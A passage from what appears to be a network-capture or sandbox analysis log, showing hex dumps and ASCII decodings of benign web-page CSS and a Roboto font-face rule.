24px;text-align:center;text-decoration:none;white-space:normal;line-height:18px;position:relative}.yZqNl:hover,.yZqNl:hover:focus,.yZqNl:focus,.yZqNl:active{background-color:#0b57d0;background-color:var(--gm3-sys-color-p
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 67 68 74 3a 35 30 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 30 70 78 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 32 34 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 4e 4b 6d 46 4e 63 20 2e 6b 42 32 75 35 65 7b 63 6f 6c 6f 72 3a 23 61 38 63 37 66 61 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 6d 33 2d 73 79 73 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 2c 23 61 38 63 37 66 61 29 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 6f 63 75 73 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 70 78 7b 30 25 7b Data Ascii: ght:500;min-height:40px;outline:none;padding:10px 24px;text-align:center;text-decoration:none;white-space:normal;line-height:18px;position:relative}.NKmFNc .kB2u5e{color:#a8c7fa;color:var(--gm3-sys-color-primary,#a8c7fa)}@keyframes focus-animation-2px{0%{
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 75 73 2c 2e 51 73 58 4a 4a 20 2e 79 5a 71 4e 6c 3a 66 6f 63 75 73 2c 2e 51 73 58 4a 4a 20 2e 79 5a 71 4e 6c 3a 61 63 74 69 76 65 2c 2e 61 6d 45 30 4d 64 20 2e 79 5a 71 4e 6c 3a 68 6f 76 65 72 2c 2e 61 6d 45 30 4d 64 20 2e 79 5a 71 4e 6c 3a 68 6f 76 65 72 3a 66 6f 63 75 73 2c 2e 61 6d 45 30 4d 64 20 2e 79 5a 71 4e 6c 3a 66 6f 63 75 73 2c 2e 61 6d 45 30 4d 64 20 2e 79 5a 71 4e 6c 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 33 32 36 31 65 7d 2e 51 73 58 4a 4a 20 2e 72 72 34 79 35 63 2c 2e 61 6d 45 30 4d 64 20 2e 72 72 34 79 35 63 7b 63 6f 6c 6f 72 3a 23 34 34 34 37 34 36 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 23 34 34 34 37 34 36 7d 2e 4e 4b 6d 46 4e 63 2e 51 73 58 4a 4a 20 2e 72 72 34 79 35 63 7b 63 6f 6c 6f 72 3a Data Ascii: us,.QsXJJ .yZqNl:focus,.QsXJJ .yZqNl:active,.amE0Md .yZqNl:hover,.amE0Md .yZqNl:hover:focus,.amE0Md .yZqNl:focus,.amE0Md .yZqNl:active{background-color:#b3261e}.QsXJJ .rr4y5c,.amE0Md .rr4y5c{color:#444746;outline-color:#444746}.NKmFNc.QsXJJ .rr4y5c{color:
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 6f 6c 69 64 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 31 70 78 7d 40 6d 65 64 69 61 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 78 46 49 54 6d 62 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 32 70 78 7d 7d 2e 4e 4b 6d 46 4e 63 20 2e 78 46 49 54 6d 62 7b 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 7d 2e 4e 4b 6d 46 4e 63 20 2e 78 46 49 54 6d 62 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 23 64 31 65 31 66 66 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 6d 33 2d 73 79 73 2d 63 6f 6c 6f 72 2d 73 75 72 66 61 63 65 2d 74 69 6e 74 2c 23 64 31 65 31 66 66 29 7d 2e 78 46 49 54 6d 62 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a Data Ascii: olid;outline-width:1px}@media (forced-colors:active){.xFITmb:focus{outline-width:2px}}.NKmFNc .xFITmb{color:#e3e3e3}.NKmFNc .xFITmb:focus-visible{outline-color:#d1e1ff;outline-color:var(--gm3-sys-color-surface-tint,#d1e1ff)}.xFITmb:focus{background-color:
2025-03-26 21:43:02 UTC	2115	IN	Data Raw: 33 37 41 2d 30 33 37 46 2c 55 2b 30 33 38 34 2d 30 33 38 41 2c 55 2b 30 33 38 43 2c 55 2b 30 33 38 45 2d 30 33 41 31 2c 55 2b 30 33 41 33 2d 30 33 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 57 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 32 2d 30 31 30 33 2c 55 2b 30 31 31 30 2d 30 31 31 31 2c 55 2b 30 31 32 Data Ascii: 37A-037F,U+0384-038A,U+038C,U+038E-03A1,U+03A3-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+012